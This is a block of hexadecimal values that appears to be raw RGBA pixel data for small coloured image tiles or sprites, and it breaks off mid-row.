0DFF0C0C0CFF0B0B0BFF080808FF4A4A4AFF8A83B3FFB3A5F8FFADA2F0FFAEA3
EFFFAEA3EFFFAEA2EFFFAFA2EFFFB09BEDFFB09AEEFFADA6F1FFAEA2EFFFAEA3
EFFFAEA1EFFFADA2F0FFB5A6F9FF837E9AFF41B7B7FF3BFFFFFF3CFFFFFF3DFF
FFFF37FFFFFF6F7BC9FF1294D0FF22488FFF21429EFF1686DCFF6B78C5FF37FF
FFFF3DFFFFFF3BFFFFFF3CFFFFFF5B9A9AFF2C8983FF317300FF357600FF1178
ECFF0E75FFFF0C9DFFFF3662BDFF4C1E9AFF3D48B1FF375ABCFF2886D3FF3A4F
B5FF1CA7E6FF3358BBFF491399FF4E8096FF3B6625FF307709FF31760CFF3278
0DFF32780CFF3E8817FFEAF7E3FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA5A5A5FF3B259EFF300AD5FF320DD1FF330E
D2FF340FD2FF3609D0FF1877E9FF234AE0FF0EA2F3FF3605CFFF3411D2FF340F
D2FF330FD2FF310CD1FF310AD6FF56498EFF41B7B7FF40FFFFFF3DFFFFFF3CFF
FFFF36FFFFFF6C80C3FF0B48CFFF135CA5FFCDA6B4FFA1C1D2FF5A71C3FF38FF
FFFF3DFFFFFF3BFFFFFF3CFFFFFF5B9A9AFF2C8A84FF377701FF367600FF1078
ECFF0F77FFFF0C9DFFFF3564BFFF4C1A98FF229ADEFF10CDFAFF0ADCFFFF0DD6
FFFF0BD9FFFF3751B6FF48199CFF4E8096FF3C6624FF357B0CFF33770DFF3377
0EFF357910FF33770DFF1E6800FF85AE6EFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF432C9FFF401CD8FF3E1BD4FF3C1C
D4FF3F1ED5FF4211D1FF296AE7FF08EAFFFF15B5F8FF4111D1FF3F1DD4FF3F1D
D5FF3E1CD5FF3C1AD3FF3B17DAFF5A4E8FFF44B7B7FF44FFFFFF45FFFFFF43FF
FFFF3DFFFFFF37A7AAFF269AEDFF000C9FFFA7A0BAFF80F7E9FF2E9AAAFF3EFF
FFFF3DFFFFFF3BFFFFFF3BFFFFFF5B9A9AFF2E8B85FF3B7A03FF3D8000FF1480
EDFF0E75FFFF0B9CFFFF3564BFFF4B1E9AFF3561BFFF2D76CBFF1DA7E7FF2B7B
CEFF1DA4E5FF2F67C4FF48179BFF4D8096FF3F6725FF39800EFF3A8011FF397C
11FF34770FFF31760BFF206B00FFA8C598FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF432E9FFF441ED9FF4522D7FF4421
D5FF3F1AD3FF333DDCFF2189ECFF0FD2FFFF2091EFFF2A6AE6FF3F17D3FF3F1D
D5FF3E1CD5FF3C1AD3FF3B17DAFF5A4E8FFF44B7B7FF48FFFFFF47FFFFFF49FF
FFFF4BFFFFFF45FFFFFF2A92D0FF0C3FA1FF00269DFF1E95D5FF3CFFFFFF3CFF
FFFF3BFFFFFF38FFFFFF3BFFFFFF5B9A9AFF2F8C85FF3E7D04FF418300FF1885
EDFF1483FFFF10A3FFFF3A64BEFF4B209BFF3D41AEFF3262C0FF268CD5FF2198
DCFF2D6FC7FF3F30A4FF4A179BFF4E8096FF3F6925FF3C830FFF3E8312FF3F83
14FF3E860BFF4B901BFFF1F9E4FFFBFBFBFFFBFBFAFFFBFBFAFFFBFBFAFFFBFB
FAFFFBFBFAFFFBFBFAFFFFFFFFFFA2A29DFF3F269FFF3D15D8FF3D17D5FF3F1A
D5FF401BD6FF3D16D4FF3C02CFFF1877EAFF3600CDFF350AD0FF3310D2FF330F
D2FF320ED2FF300CD1FF300AD7FF56498EFF44B7B7FF4BFFFFFF4AFFFFFF4CFF
FFFF4DFFFFFF4EFFFFFF52FFF7FF4FE0DCFF4EE6E1FF4EFFF8FF4AFFFFFF49FF
FFFF4AFFFFFF4AFFFFFF4FFFFFFF5B9A9AFF318B82FF447C00FF477D00FF1A83
EBFF167DFFFF14A1FFFF3989D1FF5144B1FF592DA4FF5826A1FF57229EFF5821
9DFF57249FFF5925A1FF4263C6FF507D96FF3F6A26FF3F8610FF418512FF408E
04FF446B4CFF4C21E2FF4016D6FF3B14D1FF3A13CFFF3812D0FF3710CEFF3710
CEFF3711D0FF3710D0FF3A0DDBFF54488EFF9187B4FFC1AFFBFFBCAAF3FFBAA9
F3FFBCABF3FFBCABF3FFBCABF3FFBCA9F2FFBCAAF3FFB8A9F3FFB8A8F2FFB8A8
F2FFB8A9F3FFB9A9F3FFC5B2FEFF86809BFF4ACFBAFF59FFFFFF57FFFFFF58FF
FFFF59FFFFFF59FFFFFF59FFFFFF59FFFFFF59FFFFFF59FFFFFF59FFFFFF59FF
FFFF58FFFFFF57FFFFFF5BFFFFFF5DA79CFF2A98A5FF23B8A1FF28B79CFF16B9
F8FF15B8FFFF15C4FFFF26B7ECFF3098DDFF309ADEFF309BDEFF309BDEFF309B
DDFF2F9ADDFF2D97DCFF28A1E7FF4B8A9BFF3F6925FF418A0DFF419100FF4B4D
90FF5121EEFF502ADBFF502BDAFF502BDAFF502BDAFF502BDAFF502BDAFF502B
DAFF4F2ADAFF4D28D8FF4E25DFFF5B4E8FFF92A286FFC5DFAFFFBED6A9FFBFD8
AAFFBFD7AAFFBFD7AAFFBFD7AAFFBFD7AAFFBFD8AAFFBFD8AAFFBFD8AAFFBFD8
AAFFC0D8AAFFBED7A9FFC6E2B0FF879180FF202097FF0100D7FF0400D0FF0600
D0FF0700D0FF0700D0FF0700D0FF0700D0FF0700D0FF0700D0FF0700D0FF0700
D0FF0600D0FF0400D0FF0000DCFF494986FF229FBCFF09DEFFFF0CDAFFFF10DA
FFFF11DAFFFF11D9FFFF0FDAFFFF0EDDFFFF0EDDFFFF0EDDFFFF0EDDFFFF0EDD
FFFF0DDDFFFF0BDDFFFF07E3FFFF478D9DFF3F6D1FFF438614FF4D2EC9FF4F21
E6FF4F27DAFF4F27DAFF4F27DAFF4F27DAFF4F27DAFF4F27DAFF4F27DAFF4E27
DAFF4E26DAFF4D24DAFF4E23E1FF5A4D8EFF38651FFF368300FF368100FF3782
02FF378203FF378203FF378203FF378203FF378203FF378203FF378203FF3782
03FF388202FF358100FF378300FF526B46FF2929A4FF3938E8FF3434E2FF3535
E2FF3736E2FF3636E2FF3636E2FF3636E2FF3636E2FF3636E2FF3636E2FF3736
E2FF3535E2FF3534E2FF3635E9FF52529BFF2FA5C0FF33E0FFFF31DDFFFF33DD
FFFF33DDFFFF33DDFFFF33DDFFFF33DDFFFF33DDFFFF33DDFFFF33DDFFFF33DD
FFFF33DDFFFF31DDFFFF32E1FFFF559CACFF496056FF6740EEFF6340E5FF6443
E0FF6445E0FF6444E0FF6444E0FF6444E0FF6444E0FF6444E0FF6444E0FF6445
E0FF6343E0FF6342E0FF6644E2FF675B9DFF476F2FFF5C9A33FF5A9631FF5B98
33FF5B9733FF5B9733FF5B9733FF5B9733FF5B9733FF5B9733FF5B9733FF5B97
33FF5B9833FF5A9731FF5C9932FF637B55FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFC0BFBFFFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0C0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFBFC0C0FFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFBFC0C0FFBFBFBFFFFFFFFFFFDADADAFFC0BFC0FFBFBFBFFFC0BF
BFFFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFBFC0C0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFBFBFC0FFBFC0
C0FFC0C0C0FFBEBFBFFFBEBFBFFFBEBFBFFFBEBFBFFFBEBFBFFFC0C0C0FFC0C0
C0FFBFC0C0FFBFBFC0FFBFBFBFFFFFFFFFFF3F9E9BFF08F8FFFF21C3A9FF3592
3CFF35913CFF349546FF339647FF339647FF339647FF339647FF339647FF3496
47FF329647FF339747FF349A48FF55785FFFAF7841FFF9A23EFFF69F3DFFF69F
3EFFF59F3EFFF59F3EFFF59F3EFFF59F3EFFF59F3EFFF59F3EFFF59F3EFFF59F
3EFFF69F3EFFF69E3DFFFCA43FFF99785AFF776F1EFFB9B53FFFFFFFF2FFDC81
5EFFB42600FFBC390BFFBD3B0DFFBD3B0DFFBD3B0DFFBD3B0DFFBD3B0DFFBD3B
0DFFBD3B0EFFBC3A0DFFC23B0CFF855A4BFF9D683EFFDA833AFFD68139FFD780
3AFFD6813AFFD6813AFFD6813AFFD6813AFFD6813AFFD98139FFBF7848FFD881
37FFD78038FFC78347FFD7813BFF8E7057FF966325FFA3863CFF3BC9D6FF0AEB
FFFF25B2A5FF397A33FF397A32FF38813CFF38823EFF38823EFF38823EFF3882
3EFF37813DFF36813CFF35813BFF56755AFFAF7946FFE99741FFE59642FFE596
43FFE69643FFE69643FFE69643FFE69643FFE69643FFE69643FFE69643FFE696
43FFE59643FFE59642FFEB9941FF9A795BFF70711FFF7D8700FF788300FFD8E6
B4FFF9DCD7FFA6310FFFA42B08FFA93513FFA93513FFA93513FFA93513FFA935
13FFA83511FFA83410FFAB3110FF845849FF996642FFC5763DFFC2773DFFC277
3EFFC3783FFFC3783FFFC3783FFFC3783FFFC4763AFFB88F66FF62A8CAFFC27A
43FFCF7534FF7BAAA6FF949A8FFF906D55FF8E5D2AFFBF6710FFC65F02FFA579
37FF3FC5D4FF0EE8FFFF29ABA1FF3C6B2BFF3C6C2BFF3B7135FF3B7235FF3B72
35FF3A7136FF397033FF387232FF596E57FFA97646FFE59443FFE19145FFE193
46FFE19247FFE19247FFE19247FFE19247FFE19247FFE19247FFE19247FFE192
47FFE19346FFE19145FFE89444FF96785CFF53836AFF778200FF718505FF667B
00FF91A643FFFFFFFFFFC37567FF931900FF9D2D13FF9D2D14FF9D2D14FF9D2D
14FF9C2D13FF9C2C12FFA02A10FF7D554CFF906345FFBC7240FFBB7341FFBA72
42FFBC7442FFBB7342FFBB7342FFBB7341FFC2753FFF977A70FF838B7CFF8085
86FF61848FFFA28465FF787889FF8C6D57FF8F5626FFBE5B0CFFBC5C0FFFBF5B
0BFFCB5400FFA86F31FF42BFD2FF10E7FFFF2BA29EFF3F6124FF3E6024FF3D66
2EFF3C662EFF3B652CFF3A652BFF586955FFA77347FFE29047FFE09048FFDF8F
49FFDF914AFFDF904AFFDE8E45FFDE8C44FFDE8B41FFDF9049FFDF904AFFDF91
4AFFDF8F49FFE08E47FFE59146FF94765DFF2A5C79FF2BC3FAFF608A1FFF6981
00FF608005FF5B7C00FFD0E5BEFFF5D8DFFF9B2E21FF972819FF98291AFF9827
1AFF972819FF962517FF992515FF79534EFF8B6046FFB66F42FFB46E43FFB470
44FFB46F45FFB57045FFB57045FFB77144FFA37050FF1F2529FF29292FFF3E52
2EFF97A77CFFDCD1CAFF8B7865FF83695BFF915224FFBD5403FFBA5204FFBD58
0DFFBE590EFFC1560AFFC84600FFA9672DFF42BED2FF10E6FFFF2BA09CFF3F5C
21FF3E5A20FF3B5F28FF3A6028FF586654FFA5734AFFE18F47FFDF8D49FFDE8E
4AFFDE904BFFDD8D46FFE6AF7DFFE8B284FFF1D2B8FFDD8B45FFDE8F4AFFDE90
4BFFDE8E4AFFDF8D48FFE49047FF92755FFF232020FF091923FF15AFFFFF43A7
8DFF677B00FF62820AFF547500FF86A349FFEAF9E6FFE6F8E1FFE6F8E1FFE6F8
E1FFE6F8E2FFE7F7E1FFECFEE7FF969B94FF8B6046FFB46E42FFB16C44FFB26D
45FFB26E46FFB47047FFB36F47FFB87147FF855D45FF111719FF1D1F21FFAC9A
88FFA5A293FFB28364FF464E53FF856B5CFF8F5120FFD38A4FFFD69867FFBA52
06FFBE590FFFBB5409FFE2B798FFC5611AFFCB4B00FFA9682EFF42BED3FF10E6
FFFF2B9F9BFF3D5A1EFF3C5B1DFF5A6653FFA5744BFFE2944CFFDE8F4AFFDE8D
48FFDF904BFFDD8D46FFE29C60FFFFFFFFFFFBF5EFFFDD893FFFDE8F4AFFDF90
4BFFDF8F4AFFDF8E48FFE49147FF92755FFF242424FF0C0807FF0B0000FF125C
89FF26B8EEFF588A30FF62820BFF5D8009FF567900FF567800FF567800FF5579
00FF547700FF537600FF537900FF626E47FF8E603FFFB77148FFB26D44FFAF69
3EFFB06737FFB46C38FFB47045FFB47047FFC0774AFF393534FF37373AFF8696
8FFF69917DFFDCBBA5FF000005FF846D5FFF8F5020FFDFA97AFFF0D9C8FFBE59
09FFBB5305FFC26725FFF7EDE7FFC9763BFFBC570BFFC1570AFFCB4D00FFA968
2EFF42BED3FF0EE5FFFF28A09AFF5A6450FFA6754BFFE3954FFFE09451FFE094
50FFDE8E4AFFDE8E4AFFECC39FFFF9EEE2FFF2D3B8FFE8B486FFDD8C45FFDF90
4BFFDF8F4AFFDF8E48FFE49047FF92755FFF252525FF0D0907FF0F0400FF1775
AAFF2DB5D8FF5B851FFF62820DFF5C7D07FF557700FF557700FF557700FF5477
00FF537600FF527500FF527800FF626E47FF726DB8FFB96F39FFB46D3CFFDEB9
97FFD4CEFAFF9185F0FFB46C3CFFB47046FFBB7347FF5B4639FF86604DFF526E
5CFF375841FFE3B9A3FF323332FF886E5FFF925525FFC15C04FFC16110FFC773
2CFFD18D52FFBF5A09FFBD5B0FFFBB5409FFBD580FFFBD580FFFBD580FFFC056
09FFCA4C00FFA7662CFF3EC3D9FF4996ACFFA6754CFFE49953FFE19754FFE198
56FFE19856FFDF9551FFDD8A41FFE8B284FFDC8941FFDD8B44FFDE8E49FFDE8E
49FFDE8D48FFDE8C46FFE49147FF93755FFF242020FF10303FFF24BEFFFF55A7
71FF738600FF68880FFF567800FF9BB15CFFFFFFEDFFFCFEE8FFFCFEE8FFFCFE
E6FFFCFEE7FFFBFDE7FFFFFFECFF9D9E96FF776CACFFE7BD8BFFDAD4F3FF9A87
E1FFAC7A84FFC47C37FFB57149FFB26E46FFB56F45FFA06441FFA7836AFF8670
65FF846E62FFA57A63FF7D675BFF856D5DFF925626FFC6650EFFC1600AFFD391
56FFFFFFFFFFC76D21FFC36512FFC56816FFC46616FFC36515FFC36415FFC364
15FFC16414FFC6620DFFD65E00FF836951FFA6774CFFE69B56FFE29957FFE29A
59FFE29B59FFE29B59FFE29B59FFE09854FFE29A58FFE09856FFE19855FFE198
55FFE09855FFE29855FFE79D58FF93765FFF296B8FFF39C8E8FF6E9014FF718C
0AFF69890CFF6D8E12FFF0F6CAFFCBCFFFFF3349E9FF2D41E7FF2D41E7FF2C41
E7FF2C41E7FF2D43E7FF2D45EEFF515896FF503C9AFF947BEBFF8062DDFF9276
DAFF8F73DDFF8873EFFFBE7D4CFFBB7D54FFB87750FFC99775FFD5B699FF8276
72FF75635BFFD8BB9FFFD19971FF836A5CFF925624FFC9701BFFC66B19FFC361
09FFC97429FFC56814FFC56917FFC87022FFC56915FFC66A17FFC66917FFC669
16FFC66915FFC56813FFCA6B0FFF886348FFA6774DFFE59D58FFE39B59FFE39C
59FFE39C5BFFE39C5BFFE39C5BFFE39C5BFFE39C5BFFE39C5BFFE39C5BFFE39C
5BFFE39C5AFFE39B59FFE89E5AFF93765FFF4D7E5DFF778C00FF6E8E0EFF6185
00FFA5BA5FFFFFFFFFFF6E7CF4FF3348E4FF4255E6FF4457E7FF4457E7FF4357
E7FF4357E7FF4156E7FF4157EDFF585F94FF4B3599FF8161E6FF8061DBFF7A5D
DBFF7B5FE2FF7561F5FFBF814DFFBD8056FFBC7C55FFC28F6DFFC98E62FF7A6E
68FF6B6867FFCA9166FFC48C66FF836B5CFF90511FFFEECCABFFFBF4EDFFC465
09FFC5660BFFCB7423FFFFFFFFFFD48C46FFC5660BFFC76911FFC76911FFC76A
11FFC76A10FFC6690EFFCB6B0AFF866447FFA7774DFFE79F5AFFE39D59FFE39C
5AFFE39C5AFFE39C5AFFE39C5AFFE39C5AFFE39C5AFFE39C5AFFE39C5AFFE39C
5AFFE39C5BFFE39D58FFEAA15BFF92755FFF5C6E1FFF6A8F02FF6F910CFFEFF4
C9FFC9CEFFFF374CE7FF3C52E7FF4257E8FF4257E8FF4257E8FF4257E8FF4257
E8FF4256E8FF4055E8FF4258EFFF555C93FF776DACFFCCA498FF9C88ECFFD8CC
ECFFE6C18EFFC68548FFBC8055FFBD7D56FFBD8056FFBD7C53FFBC8761FF808A
8FFFC58356FFBB7B52FFC28256FF836B5CFF985E2FFFD0792DFFD59154FFCD78
2FFFCE7B33FFCD762BFFD7955CFFCC7429FFCE7C33FFCE7C33FFCE7C33FFCE7B
33FFCD7B33FFCD7A31FFD17C32FF957055FFAD7B54FFEAAC72FFE6A86DFFE8A8
6DFFE8A86FFFE8A86EFFE8A86EFFE8A86EFFE8A86EFFE8A86EFFE8A86EFFE8A8
6FFFE8A86DFFE6A86EFFECAA70FFA2836BFF5E732BFFB9CA80FFF9F9FFFF8290
F9FF4A5DEAFF596AECFF5A6BECFF5A6BECFF5A6BECFF5A6BECFF5A6BECFF5A6B
ECFF5A6BECFF596AECFF5B6DF0FF6369A3FF776EB3FFCB8E59FFCF9965FFB289
A6FFAFA1F3FFCFC5ECFFC68D62FFC5906BFFC5906BFFC68F6AFFBF977BFFC39B
81FFC19273FFC68F69FFC9916CFF917869FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC4C4C4FFC5C5C5FFC5C5
C5FFC5C5C5FFC5C5C5FFC5C5C5FFC5C5C5FFC5C5C5FFC5C5C5FFC5C5C5FFC5C5
C5FFC5C5C5FFC5C5C5FFC3C3C3FFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0
C0FFC0C0C0FFBFC0C0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0
C0FFC0C0C0FFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0
C0FFC0C0C0FFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFFB6C2C5FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF979EA1FF6D282AFF8F1010FF8D1011FF8C10
12FF8C1112FF8C1112FF830001FFFFFFFFFFFFFFFFFF830001FF8C1112FF8C11
12FF8C1011FF8C0F10FF900F10FF724E4EFF324DAAFF2350F0FF254DEBFF264E
EAFF254EEAFF254EEAFF254EEAFF254EEAFF254EEAFF254EEAFF254EEAFF254E
EAFF264FEAFF254EEBFF244FF2FF526196FF1E4CBDFF004BFFFF014AFFFF024B
FFFF014BFFFF014BFFFF014BFFFF014BFFFF014BFFFF014BFFFF014BFFFF014B
FFFF024AFFFF014BFFFF004CFFFF4760A0FFB4BBBCFFFFFFFFFFF9FFFEFFF9FF
FEFFF9FFFEFFF9FFFEFFF9FFFEFFF9FFFEFFF9FFFEFFF9FFFEFFF9FFFEFFF9FF
FEFFF9FFFEFFF9FFFEFFFFFFFFFF999C9EFF6F2828FF880F10FF871110FF8812
11FF881213FF881112FF7C0000FFFFFFFFFFFFFFFFFF7C0000FF881112FF8812
13FF881212FF871111FF8A0F10FF754D4DFF3545A7FF283ADDFF293BDAFF2A3B
DAFF283ADAFF2B3CDAFF2B3DDAFF2B3DDAFF2B3DDAFF2B3DDAFF2B3DDAFF2B3D
DAFF2A3CDAFF293BDAFF2939E0FF525B95FF2241BDFF0636FFFF0838FFFF0937
FFFF0939FFFF0939FFFF0939FFFF0939FFFF0939FFFF0939FFFF0939FFFF0939
FFFF0938FFFF0837FFFF0636FFFF465AA2FFB4B8B8FFFFFFFFFFFAFFFEFFFAFF
FEFFFAFFFEFFFAFFFEFFFAFFFEFFFAFFFEFFFAFFFEFFFAFFFEFFFAFFFEFFFAFF
FEFFFAFFFEFFFAFFFEFFFFFFFFFF999B9AFF6D2525FF880D0EFF871010FF880F
11FF881110FF871010FF7C0000FFFFFFFFFFFFFFFFFF7C0000FF871010FF8811
10FF880F11FF870F10FF880D0DFF734A4BFF3738A2FF2A2BD9FF2B2CD6FF2326
D9FF424BECFF2328DEFF2D2CD6FF2E2ED6FF2E2ED6FF2E2ED6FF2E2ED6FF2D2E
D6FF2D2DD6FF2B2CD5FF2A2ADBFF545592FF2236BDFF0626FFFF0928FFFF0A29
FFFF0B28FFFF0B2AFFFF0B2AFFFF0B2AFFFF0B2AFFFF0B2AFFFF0B2AFFFF0B28
FFFF0A29FFFF0826FFFF0625FFFF4855A1FFCDCEBAFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA6A69CFF6D2525FF860B0AFF850E0EFF870F
0EFF861010FF860F0FFF750000FFFFFFFFFFFFFFFFFF750000FF860F0FFF8610
10FF870F0FFF860D0CFF87090BFF734949FF352FA3FF271BDCFF2316D6FF8667
B5FFC0560BFFAE7272FF312ADFFF2920D9FF2A21D9FF2A21D9FF2A20D9FF2A20
D9FF2B1FD9FF281EDAFF271CDFFF545092FF232FBDFF091BFFFF0A1EFFFF0D1F
FFFF0E20FFFF0E1FFFFF0E1FFFFF0E1FFFFF0E1FFFFF0E1FFFFF0E1FFFFF0C20
FFFF0D1FFFFF0B1DFFFF081BFFFF4950A0FF21219AFF0000D5FF0000D1FF0000
CEFF0000CDFF0000D0FF0000D0FF0000D0FF0000D0FF0000D0FF0000D0FF0000
D0FF0000D1FF0000CFFF0000DAFF4A4A8BFF6E2525FF860909FF850D0DFF870D
0DFF860E0EFF790000FFE4B499FF7278FFFF595EFFFFE6B499FF790000FF860E
0EFF870E0EFF860C0CFF870908FF724949FF8E4520FFBA3F00FFB96A4DFFB842
00FFAE3A00FFB73E00FFBC715CFFB84000FFB84500FFB84500FFB84600FFB844
00FFB74300FFB74300FFBB4200FF855C47FFB83F20FFFF3700FFFA3800FFFB39
00FFFB3A00FFFB3C00FFFB3B00FFFB3B00FFFB3B00FFFB3B00FFFB3C00FFFB3A
00FFFB3900FFFA3700FFFF3700FF9C5847FF24259DFF0A0DDBFF0000CFFF6768
E4FFC8CAF4FF0000D0FF090BD4FF0000D1FF0B0DD4FF0E10D4FF0E10D4FF0C0E
D4FF0C0FD4FF0A0DD3FF070ADEFF4B4C8BFF6F2424FF8A0C0CFF860D0DFF860E
0EFF790000FFDAA999FF5F69FFFF0000FFFF0000FFFF525CFFFFDAA999FF7900
00FF870D0DFF860C0CFF870909FF724949FF874524FFB54300FF7053BDFF0C03
E4FFA57BA3FF1B08D0FF2F2CF2FFC05916FFAB410DFFAD4310FFAD4310FFAD42
0FFFAB410EFFAC400CFFAE3F09FF805B49FFAB3F24FFEA3A0CFFE8380BFFE72D
